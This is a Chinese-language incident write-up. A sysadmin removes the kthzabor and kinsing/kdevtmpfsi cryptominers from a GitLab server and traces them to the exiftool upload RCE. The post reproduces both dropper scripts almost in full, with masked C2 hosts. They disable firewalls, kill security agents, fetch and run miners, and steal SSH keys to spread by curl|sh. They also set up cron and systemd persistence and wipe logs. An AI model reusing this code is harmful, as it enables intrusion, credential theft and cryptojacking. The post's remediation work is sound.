kthzabor和kdevtmpfsi木马的手工清除

发布 by 猛禽 需要9分钟读完

收到报告说某个gitlab服务器CPU跑满，疑似被挖矿木马给占了。看了一下，有一个叫kthzabor的进程占了全部的CPU，然而杀掉之后又会自动出来……

先ps看一下它的PID，然后ls -l /proc/PID看一下进程信息，找到程序文件，然后删除之……结果发现又会自动下载……

然后用lsof -p PID看一下它用了什么网络资源，发现它连接到一个地址的3333端口……封杀之：

iptables -A OUTPUT -p tcp --dport 3333 -j DROP

CPU占用马上就下来了，但是进程还在……

用htop看了一下进程树，发现gitlab-runsvdir服务下面隔一段时间就会执行：

sh -c curl http://<某个IP>/ldr.sh | bash

把这个脚本下载来学习了一下（安全起见，IP已打码）：

export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/dev/shm
cc=http://xxx.xxx.xxx.xxx
sys=$(date|md5sum|awk -v n="$(date +%s)" '{print substr($1,1,n%7+6)}')
get() {
    curl -k $1>$2 || curl -k $1>$2 || wget --no-check-certificate -q -O- $1>$2 || curl $1>$2 || curl $1>$2 || wget -q -O- $1>$2 || c./dlr $1>$2 || ./dlr $1>$2
    chmod +x $2
}

ufw disable
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -F
chattr -ia /etc/ld.so.preload
cat /dev/null>/etc/ld.so.preload

f=false
findDir() {
  for i in $(ls $1); do
    if $f; then return; fi
    p="${1}""/$i"
    if [ -d $p -a -r $p ]; then
      if [ -w $p -a -x $p ]; then
        echo exit>$p/i && chmod +x $p/i && cd $p && ./i && rm -f i && f=true && return
      fi
      findDir $p
    fi
  done
}
findDir /
mv /tmp/dlr dlr
mv /var/tmp/dlr dlr

crontab -r
crontab -l|sed '/\.bashgo\|pastebin\|onion\|bprofr\|python/d'|crontab -
cat /proc/mounts|awk '{print $2}'|grep -P '/proc/\d+'|grep -Po '\d+'|xargs -I % kill -9 %

pkill -9 -f mysqldd
# ...
pkill -9 -f '118/cf\.sh'

pkill -9 '\.6379'
# ...
killall -9 /var/tmp/*

for i in $(ls /proc|grep '[0-9]'); do
  if ls -al /proc/$i 2>/dev/null|grep kthzabor 2>/dev/null; then
     continue
  fi
  if grep -a 'donate-level' /proc/$i/exe 1>/dev/null 2>&1; then
    kill -9 $i
  fi
  if ls -al /proc/$i | grep exe | grep "/var/tmp\|/tmp"; then
    kill -9 $i
  fi
done

if [ $(id -u) -eq 0 ]; then
    if ps aux|grep -i "[a]liyun"; then
        curl http://update.aegis.aliyun.com/download/uninstall.sh|bash
        curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh|bash
        pkill aliyun-service
        rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service /usr/local/aegis*
        systemctl stop aliyun.service
        systemctl disable aliyun.service
        service bcm-agent stop
        yum remove bcm-agent -y
        apt-get remove bcm-agent -y
    elif ps aux|grep -i "[y]unjing"; then
        /usr/local/qcloud/stargate/admin/uninstall.sh
        /usr/local/qcloud/YunJing/uninst.sh
        /usr/local/qcloud/monitor/barad/admin/uninstall.sh
    fi
fi
ps -fe|grep kthzabor|grep -v grep; if [ $? -ne 0 ]; then
  PATH=".:$PATH"; get $cc/u $sys; nohup $sys 1>/dev/null 2>&1 &
fi
ps -f|grep kthzabor|grep -v grep; if [ $? -ne 0 ]; then
  PATH=".:$PATH"; get $cc/kthmimu.sh $sys; nohup $sys 1>/dev/null 2>&1 &
fi

ps -fe|grep kthzabor|grep -v grep; if [ $? -ne 0 ]; then
  PATH=".:$PATH"; get $cc/sys kthzabor; nohup kthzabor 1>/dev/null 2>&1 &
fi

rm -rf /var/tmp/* /var/tmp/.* /tmp/* /var/.httpd $sys dlr

KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*'|grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config|grep IdentityFile|awk -F "IdentityFile" '{print $2 }')
KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem'|uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config|grep HostName|awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history|grep -E "(ssh|scp)"|grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts|grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}"|uniq)
USERZ=$(
    echo root
    find ~/ /root /home -maxdepth 2 -name '\.ssh'|uniq|xargs find|awk '/id_rsa/'|awk -F'/' '{print $3}'|uniq|grep -v "\.ssh"
)
users=$(echo $USERZ|tr ' ' '\n'|nl|sort -u -k2|sort -n|cut -f2-)
hosts=$(echo "$HOSTS $HOSTS2 $HOSTS3"|grep -vw 127.0.0.1|tr ' ' '\n'|nl|sort -u -k2|sort -n|cut -f2-)
keys=$(echo "$KEYS $KEYS2 $KEYS3"|tr ' ' '\n'|nl|sort -u -k2|sort -n|cut -f2-)
for user in $users; do
    for host in $hosts; do
        for key in $keys; do
            chmod +r $key; chmod 400 $key
            ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl $cc/ldr.sh?ssh||curl $cc/ldr.sh?ssh2||wget -q -O- $cc/ldr.sh?ssh)|sh"
        done
    done
done

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron

大致看了一下主要功能：

  • 关闭防火墙
  • 找一个可以写入的路径
  • 删除一些定时任务
  • 杀掉一些费CPU的进程（包括其它挖矿程序）
  • 针对阿里云和腾讯云杀掉防护程序
  • 下载挖矿程序并后台运行
  • 寻找当前用户和本机其它用户可SSH连接的主机并入侵

还好入侵的是git用户，没有足够的权限，不然就不好杀了……

先不管三七二十一，把涉及的IP全部封杀：

iptables -A OUTPUT -p tcp -d <可疑IP> -j DROP

然而没过一会，发现CPU又被占满……这次的进程叫kdevtmpfsi和kinsing，这个挖矿木马就著名多了。如法炮制找了一下，把它们连的外网IP都封掉，然后找到它的脚本下载命令：

sh -c (curl -s <IP>/gi.sh||wget -q -O- <IP>/gi.sh)|bash

同样把脚本下载下来研究了一下：

#!/bin/bash

ulimit -n 65535

chattr -i /etc/ld.so.preload
rm -f /etc/ld.so.preload
chattr -R -i /var/spool/cron
chattr -i /etc/crontab
ufw disable
iptables -F
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
ROOTUID="0"

function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

if [ -s /usr/bin/curl ]; then
  echo "found curl"
elif [ -s /usr/bin/wget ]; then
  echo "found wget"
else
  echo "found none"
  if [ "$(id -u)" -ne "$ROOTUID" ] ; then
    echo "not root"
  else
    apt-get update
    apt-get install -y curl
    apt-get install -y wget
    apt-get install -y cron
  fi
fi


SERVICE_NAME="bot"
BIN_NAME="kinsing"
SO_NAME="libsystem.so"
BIN_PATH="/etc"
if [ "$(id -u)" -ne "$ROOTUID" ] ; then
  BIN_PATH="/tmp"
  if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
    echo "$BIN_PATH not exists or not writeable"
    mkdir /tmp
  fi
  if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
    echo "$BIN_PATH replacing with /var/tmp"
    BIN_PATH="/var/tmp"
  fi
  if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
    TMP_DIR=$(mktemp -d)
    echo "$BIN_PATH replacing with $TMP_DIR"
    BIN_PATH="$TMP_DIR"
  fi
  if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
    echo "$BIN_PATH replacing with /dev/shm"
    BIN_PATH="/dev/shm"
  fi
  if [ -e "$BIN_PATH/$BIN_NAME" ]; then
    echo "$BIN_PATH/$BIN_NAME exists"
    if [ ! -w "$BIN_PATH/$BIN_NAME" ]; then
      echo "$BIN_PATH/$BIN_NAME not writeable"
      TMP_BIN_NAME=$(head -3 /dev/urandom | tr -cd '[:alnum:]' | cut -c -8)
      BIN_NAME="kinsing_$TMP_BIN_NAME"
    else
      echo "writeable $BIN_PATH/$BIN_NAME"
    fi
  fi
fi
BIN_FULL_PATH="$BIN_PATH/$BIN_NAME"
echo "$BIN_FULL_PATH"

BIN_MD5="648effa3xxxxx8d59c616"
BIN_DOWNLOAD_URL="http://xxxx/kinsing"
BIN_DOWNLOAD_URL2="http://xxxx/kinsing"
CURL_DOWNLOAD_URL="http://xxxx/curl-amd64"

SO_FULL_PATH="$BIN_PATH/$SO_NAME"
SO_DOWNLOAD_URL="http://xxxx/libsystem.so"
SO_DOWNLOAD_URL2="http://xxxx/libsystem.so"
SO_MD5="ccef46xxxx47bd69eb743b"


LDR="wget -q -O -"
if [ -s /usr/bin/curl ]; then
  LDR="curl"
fi
if [ -s /usr/bin/wget ]; then
  LDR="wget -q -O -"
fi

if [ -x "$(command -v curl)" ]; then
  WGET="curl -o"
elif [ -x "$(command -v wget)" ]; then
  WGET="wget -O"
else
  curl -V || __curl "$CURL_DOWNLOAD_URL" > /usr/local/bin/curl; chmod +x /usr/local/bin/curl
  /usr/local/bin/curl -V && WGET="/usr/local/bin/curl -o"
  /usr/local/bin/curl -V || __curl "$CURL_DOWNLOAD_URL" > $HOME/curl; chmod +x $HOME/curl
  $HOME/curl -V && WGET="$HOME/curl -o"
  $HOME/curl -V || __curl "$CURL_DOWNLOAD_URL" > $BIN_PATH/curl; chmod +x $BIN_PATH/curl
  $BIN_PATH/curl -V && WGET="$BIN_PATH/curl -o"
fi
echo "wget is $WGET"

ls -la $BIN_PATH | grep -e "/dev" | grep -v grep
if [ $? -eq 0 ]; then
  rm -rf $BIN_FULL_PATH
  rm -rf $SO_FULL_PATH
  rm -rf $BIN_PATH/kdevtmpfsi
  rm -rf $BIN_PATH/libsystem.so
  rm -rf /tmp/kdevtmpfsi
  echo "found /dev"
else
  echo "not found /dev"
fi

download() {
  DOWNLOAD_PATH=$1
  DOWNLOAD_URL=$2
  if [ -L $DOWNLOAD_PATH ]
  then
    rm -rf $DOWNLOAD_PATH
  fi
  if [[ -d $DOWNLOAD_PATH ]]
  then
    rm -rf $DOWNLOAD_PATH
  fi
  chmod 777 $DOWNLOAD_PATH
  $WGET $DOWNLOAD_PATH $DOWNLOAD_URL
  chmod +x $DOWNLOAD_PATH
}

checkExists() {
  CHECK_PATH=$1
  MD5=$2
  sum=$(md5sum $CHECK_PATH | awk '{ print $1 }')
  retval=""
  if [ "$MD5" = "$sum" ]; then
    echo >&2 "$CHECK_PATH is $MD5"
    retval="true"
  else
    echo >&2 "$CHECK_PATH is not $MD5, actual $sum"
    retval="false"
  fi
  echo "$retval"
}

getSystemd() {
  AUTOSTART_PATH=$1
  echo "[Unit]"
  echo "Description=Start daemon at boot time"
  echo "After="
  echo "Requires="
  echo "[Service]"
  echo "Type=forking"
  echo "RestartSec=10s"
  echo "Restart=always"
  echo "TimeoutStartSec=5"
  echo "ExecStart=$AUTOSTART_PATH"
  echo "[Install]"
  echo "WantedBy=multi-user.target"
}

kill(){
  ps aux | grep "agetty" | grep -v grep | awk '{if($3>80.0) print $2}' | xargs -I % kill -9 %
  netstat -anp | grep "xxxx" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  netstat -anp | grep "3xxxx6:9486" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  netstat -anp | grep "127.0.0.1:5xxx8" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  netstat -anp | grep "4xxx6:9486" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  pkill -f 4xxx6
#...
  pkill -f /tmp/.ssh/redis.sh
  ps aux| grep "./udp"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  cat /tmp/.X11-unix/01|xargs -I % kill -9 %
  cat /tmp/.X11-unix/11|xargs -I % kill -9 %
  cat /tmp/.X11-unix/22|xargs -I % kill -9 %
  cat /tmp/.pg_stat.0|xargs -I % kill -9 %
  cat /tmp/.pg_stat.1|xargs -I % kill -9 %
  cat $HOME/data/./oka.pid|xargs -I % kill -9 %
  pkill -f zsvc
  pkill -f pdefenderd
  pkill -f updatecheckerd
  pkill -f cruner
  pkill -f dbused
  pkill -f bashirc
  pkill -f meminitsrv
  ps aux| grep "./oka"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  ps aux| grep "postgres: autovacum"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  ps ax -o command,pid -www| awk 'length($1) == 8'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey|grep -v kinsing| awk '{print $2}'|xargs -I % kill -9 %
  ps ax -o command,pid -www| awk 'length($1) == 16'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey| awk '{print $2}'|xargs -I % kill -9 %
  ps ax| awk 'length($5) == 8'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey| awk '{print $1}'|xargs -I % kill -9 %
  ps aux | grep -v grep | grep '/tmp/sscks' | awk '{print $2}' | xargs -I % kill -9 %
}

kill
autoinit() {
  getSystemd $BIN_FULL_PATH >/lib/systemd/system/$SERVICE_NAME.service
  systemctl enable $SERVICE_NAME
  systemctl start $SERVICE_NAME
}

so() {
  soExists=$(checkExists "$SO_FULL_PATH" "$SO_MD5")
  if [ "$soExists" == "true" ]; then
    echo "$SO_FULL_PATH exists and checked"
  else
    echo "$SO_FULL_PATH not exists"
    download $SO_FULL_PATH $SO_DOWNLOAD_URL
    binExists=$(checkExists "$SO_FULL_PATH" "$SO_MD5")
    if [ "$soExists" == "true" ]; then
      echo "$SO_FULL_PATH after download exists and checked"
    else
      echo "$SO_FULL_PATH after download not exists"
      download $SO_FULL_PATH $SO_DOWNLOAD_URL2
      binExists=$(checkExists "$SO_FULL_PATH" "$SO_MD5")
      if [ "$soExists" == "true" ]; then
        echo "$SO_FULL_PATH after download2 exists and checked"
      else
        echo "$SO_FULL_PATH after download2 not exists"
      fi
    fi
  fi
  echo $SO_FULL_PATH >/etc/ld.so.preload
}

cleanCron() {
  crontab -l | sed '/base64/d' | crontab -
#...
  crontab -l | sed '/am.workers.dev/xmg/d' | crontab -
}

binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" == "true" ]; then
  echo "$BIN_FULL_PATH exists and checked"
else
  echo "$BIN_FULL_PATH not exists"
  download $BIN_FULL_PATH $BIN_DOWNLOAD_URL
  binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
  if [ "$binExists" == "true" ]; then
    echo "$BIN_FULL_PATH after download exists and checked"
  else
    echo "$BIN_FULL_PATH after download not exists"
    download $BIN_FULL_PATH $BIN_DOWNLOAD_URL2
    binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
    if [ "$binExists" == "true" ]; then
      echo "$BIN_FULL_PATH after download2 exists and checked"
    else
      echo "$BIN_FULL_PATH after download2 not exists"
    fi
  fi
fi

so
if [ -L /tmp/kdevtmpfsi ]
then
  rm -rf /tmp/kdevtmpfsi
fi
rm -rf /tmp/kdevtmpfsi
chmod 777 $BIN_FULL_PATH
chmod +x $BIN_FULL_PATH
SKL=gi $BIN_FULL_PATH

if [[ $(id -u) -ne 0 ]]; then
  echo "Running as not root"
else
  echo "Running as root"
  autoinit
fi

cleanCron

crontab -l | grep -e "1xxx8" | grep -v grep
if [ $? -eq 0 ]; then
  echo "cron good"
else
  (
    crontab -l 2>/dev/null
    echo "* * * * * $LDR http://1xxxx8/gi.sh | bash > /dev/null 2>&1"
  ) | crontab -
fi

history -c
rm -rf ~/.bash_history
history -c

功能差不多，就不具体解释了，关键信息已打码。

老规矩，把涉及的IP都封了。然后把/tmp下面的文件：kinsing, kdevtmpfsi, libsystem.so删除掉。

注意：由于文件还被设置了不可修改属性，导致rm -rf也失败，这时需要先chattr -i <文件名>一下，把不可修改属性去掉。

终于清静了，不会再有挖矿木马被下载并运行了。

考虑到这几个进程都是以git用户身份运行，所以检查了一下SSH。

首先是关闭密码登录，我个人还是习惯用证书登录，密码不安全。

然后检查了一下git用户的authorized_keys文件，果然有两条记录不是gitlab添加的，先干掉再说。

到这里基本上就已经安全了，但是那个下载命令还是会时不时运行一下，找遍了所有的cron，也没找到。看它们的父进程，都是gitlab-runsvdir，看来锅还是在gitlab里。

登上管理界面看了一圈，也没找到什么自动运行的任务跟curl和wget有关，在gitlab的目录里用find找了几个关键字，也都没找到，为了保险起见，我还把gitlab的postgresql数据库gitlabhq_production也dump出来grep了一下，也没找到。

看来问题还不在这里……

只好用grep在全盘找关键字……最后在gitlab的日志里找到一点线索，这里出现了curl的出错信息：

{"correlation_id":"DIhzboemVz7","filename":"test.jpg","level":"info","msg":"running exiftool to remove any metadata","time":"2021-11-11T11:29:12+08:00"}
{"command":["exiftool","-all=","--IPTC:all","--XMP-iptcExt:all","-tagsFromFile","@","-ResolutionUnit","-XResolution","-YResolution","-YCbCrSubSampling","-YCbCrPositioning","-BitsPerSample","-ImageHeight","-ImageWidth","-ImageSize","-Copyright","-CopyrightNotice","-Orientation","-"],"correlation_id":"DIhzboemVz7","error":"signal: killed","level":"info","msg":"exiftool command failed","stderr":"  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed
...
curl: (7) Failed to connect to 1....7 port 80: Connection timed out\n","time":"2021-11-11T11:31:19+08:00"}
{"correlation_id":"DIhzboemVz7","error":"error while removing EXIF","level":"error","method":"POST","msg":"error","time":"2021-11-11T11:31:19+08:00","uri":"/uploads/user"}

这里出现了一些有价值的信息：exiftool，test.jpg, /uploads/user

拿这些信息放狗一搜，找到了这么一篇《Over 30,000 GitLab servers still vulnerable to CVSS 10, exploited pre-auth RCE bug》。

原来是gitlab的漏洞：

gitlab的workhorse会在收到用户上传的图片后，使用开源的perl程序exiftool去处理图片中的EXIF信息，去除某些敏感项目后，再交给gitlab-rails处理。问题在于，gitlab在把图片交给exiftool处理前，并未进行权限校验，导致攻击者可以通过这个渠道在服务端以git用户运行命令。

所以，现在的情况就是：对方通过定时调用/uploads/user，把一个test.jpg文件传过来，触发exiftool执行脚本下载并运行的命令，不断地向服务器投放挖矿程序。

找到问题所在，当然就有解决方案了：升级gitlab到安全的版本——13.10.3或13.9.6或13.8.8。

在升级之前的应急方法则是：删除exiftool（包括/opt/gitlab/embedded/bin/exiftool和/opt/gitlab/embedded/lib/exiftool-per/），并在/var/log/gitlab/nginx/gitlab_access.log里找到频繁调用/uploads/user的IP，封杀之——当然更好的办法是使用fail2ban加持，并添加规则自动封杀。

推送到[go4pro.org]